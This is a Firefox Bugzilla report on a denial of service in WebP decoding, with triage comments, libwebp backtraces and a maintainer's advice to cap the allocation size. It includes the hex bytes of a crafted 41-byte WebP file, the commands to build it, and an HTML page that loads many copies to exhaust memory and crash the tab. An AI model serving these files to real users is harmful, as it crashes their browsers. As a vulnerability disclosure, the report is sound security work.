Open Bug 1703059 Opened 3 years ago Updated 1 month ago

Firefox tab crash (high memory usage) through malformed webp file

Categories

(Core :: Graphics: ImageLib, defect)

defect

Tracking

()

People

(Reporter: blaind, Unassigned)

Details

(Keywords: csectype-dos, reporter-external, Whiteboard: [reporter-external] [client-bounty-form] [verif?])

Attachments

(4 files, 1 obsolete file)

I'm developing a rust-frontend for Google's libwebp library (https://chromium.googlesource.com/webm/libwebp), which seems to be used by Firefox (https://github.com/mozilla/gecko-dev/tree/4302435c6a3041fc5dfcbcf5f2ceaba6e516601a/media/libwebp)

Firefox version 87.0 (64-bit), OS: Linux

while fuzzing the frontend, noticed that the following input causes the decoder to think that per-frame canvas size is 16384 * 12288 * 4 bytes = 768MB

$ cat test.webp.txt
2f ff ff ff 0b 88 88 88 88 1d 00 00 00 00
00 00 88 00 00 ff ff ff 0a 00 00 00 00 00
00 13 3a 00 00 00 00 00 00 00 00 00 0a

$ xxd -r -p test.webp.txt test.webp

$ xxd test.webp
00000000: 2fff ffff 0b88 8888 881d 0000 0000 0000 /...............
00000010: 8800 00ff ffff 0a00 0000 0000 0013 3a00 ..............:.
00000020: 0000 0000 0000 0000 0a .........

Opening the test.webp with Firefox seems to cause a "file:// Content ..." process to consume ~1.8GB of mem (up from 145MB by default).

It's possible to crash a Firefox tab by a test.html file that contains multiple malformed webp images:

$ cat test.html
<img src="test.webp" /><img src="test.webp" /><img src="test.webp" /><img src="test.webp" />
<img src="test2.webp" /><img src="test2.webp" /><img src="test2.webp" /><img src="test2.webp" />
<img src="test3.webp" /><img src="test3.webp" /><img src="test3.webp" /><img src="test3.webp" />

(test.webp, test2.webp, test3.webp with similar contents)

Flags: sec-bounty?
Group: firefox-core-security → gfx-core-security
Type: task → defect
Component: Security → ImageLib
Product: Firefox → Core

This doesn't seem to reproduce the problem for me, but maybe there's some kind of caching going on with identical data: URLs vs separate files? I'll try actual separate image files next but I thought a combined test that didn't need to be downloaded would be convenient

Attached image bug1703059.webp
Attached file PoC with external webp img (obsolete) —
Attached file bug1703059.html

Not sure why trying to load the attachments didn't work -- was trying to make something that would be more like the testcase described in comment 0 but could be loaded from bugzilla. You'll have to download this one and the webp attachment (save as bug1703059.webp).

I don't see any memory issues like that described though, I get the same thing as when I tried with the data: urls.

Can you describe your computer (especially, how much memory you have, what operating system)?

Also, if you're getting a tab crash are you submitting those crash reports to us? If so it would help a lot if you opened the page about:crashes, click the "View" button next to the crash that happened at the right time, and then paste the resulting crash-stats.mozilla.org link into this bug.

Attachment #9214013 - Attachment is obsolete: true
Flags: needinfo?(blaind)
Attached file test.html

Here's a testcase, that has 64 <img tags referring to different files on github gist.

On my laptop (16GB of memory), ~8 image tags cause a kernel OOM killer trigger. The firefox about:://crashes tab says "No crash reports have been submitted.". Tab (test.html) shows "Gah. Your tab just crashed."

[97050.112391] oom-kill:constraint=CONSTRAINT_NONE,nodemask=(null),cpuset=/,mems_allowed=0,global_oom,task_memcg=/user.slice/user-1000.slice/[email protected],task=file:// Content,pid=56371,uid=1000

[97050.112446] Out of memory: Killed process 56371 (file:// Content) total-vm:19064840kB, anon-rss:13655804kB, file-rss:0kB, shmem-rss:83572kB, UID:1000 pgtables:27496kB oom_score_adj:0

[97050.581162] oom_reaper: reaped process 56371 (file:// Content), now anon-rss:0kB, file-rss:0kB, shmem-rss:82780kB

Flags: needinfo?(blaind)

That's pretty much what's supposed to happen in an OOM case -- if we can't recover from the abuse we just shut it down. Might be worth looking into how to put better memory limits on this specific kind of case, but it's not a security vulnerability that needs to be hidden

Group: gfx-core-security
Status: UNCONFIRMED → NEW
Ever confirmed: true
Keywords: csectype-dos

Normally before we allocate memory to decode an image we check if it would fit in the surface cache, and that usually prevents us from using a lot of memory in cases like this. If the allocation in inside libwebp and doesn't get inserted into the surface cache (until later in the decode process maybe?) that could explain it.

I did some investigation into this, I think at least half (~800MB) of the allocation happens in libwebp, although Firefox the file:/// process seemed to increase memory usage to about 1.5GB as observed by top.

Using libwebp API directly, decoding the bytes above:

Large allocation backtrace:

#0  __GI___libc_malloc (bytes=806420480) at malloc.c:3023
#1  0x00005555555c300a in WebPSafeMalloc (nmemb=201605120, size=4) at c_src/src/utils/utils.c:196
#2  0x00005555555d4fb4 in AllocateInternalBuffers32b (dec=0x555555613f20, final_width=16384) at c_src/src/dec/vp8l_dec.c:1515
#3  0x00005555555d5813 in VP8LDecodeImage (dec=0x555555613f20) at c_src/src/dec/vp8l_dec.c:1691
#4  0x00005555555c567b in DecodeInto (data=0x555555613bf0 "/\377\377\377\v\210\210\210\210\035", data_size=41, params=0x7fffffffcef0)
    at c_src/src/dec/webp_dec.c:505
#5  0x00005555555c5a39 in WebPDecode (data=0x555555613bf0 "/\377\377\377\v\210\210\210\210\035", data_size=41, config=0x555555613c48)
    at c_src/src/dec/webp_dec.c:779

And seems like the parsed image width causes the allocation. Width is parsed at:

#0  ReadImageInfo (br=0x7fffffffcd60, width=0x7fffffffcd54, height=0x7fffffffcd58, has_alpha=0x7fffffffcd5c) at c_src/src/dec/vp8l_dec.c:121
#1  0x00005555555d1141 in VP8LGetInfo (data=0x555555613bf0 "/\377\377\377\v\210\210\210\210\035", data_size=41, width=0x7fffffffcdf0, height=0x7fffffffcdf4, 
    has_alpha=0x555555613c50) at c_src/src/dec/vp8l_dec.c:138
#2  0x00005555555c50c4 in ParseHeadersInternal (data=0x555555613bf0 "/\377\377\377\v\210\210\210\210\035", data_size=41, width=0x555555613c48, 
    height=0x555555613c4c, has_alpha=0x555555613c50, has_animation=0x555555613c54, format=0x555555613c58, headers=0x0) at c_src/src/dec/webp_dec.c:382
#3  0x00005555555c57cf in GetFeatures (data=0x555555613bf0 "/\377\377\377\v\210\210\210\210\035", data_size=41, features=0x555555613c48)
    at c_src/src/dec/webp_dec.c:689
#4  0x00005555555c58fc in WebPDecode (data=0x555555613bf0 "/\377\377\377\v\210\210\210\210\035", data_size=41, config=0x555555613c48)
    at c_src/src/dec/webp_dec.c:754

I do not know about libwebp internals, but maybe this is be fixable. There may even be realistic use cases where a large image (by dimensions) has been really well compressed into a small binary size...

Created a bug report for libwebp project (https://bugs.chromium.org/p/webp/issues/detail?id=516)

Hi,

As mentioned, this bitstream is valid and a 16384 x 12288 image will indeed take ~805MB just to be represented as 32b-ARGB samples.

I'd suggest lowering during compilation the value of WEBP_MAX_ALLOCABLE_MEMORY, which limits the max memory size WebPMalloc will ever try to allocate.
See the default value here, in libwebp: https://github.com/webmproject/libwebp/blob/master/src/utils/utils.h#L36

hope it helps!

Severity: -- → S3
Flags: sec-bounty? → sec-bounty-
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: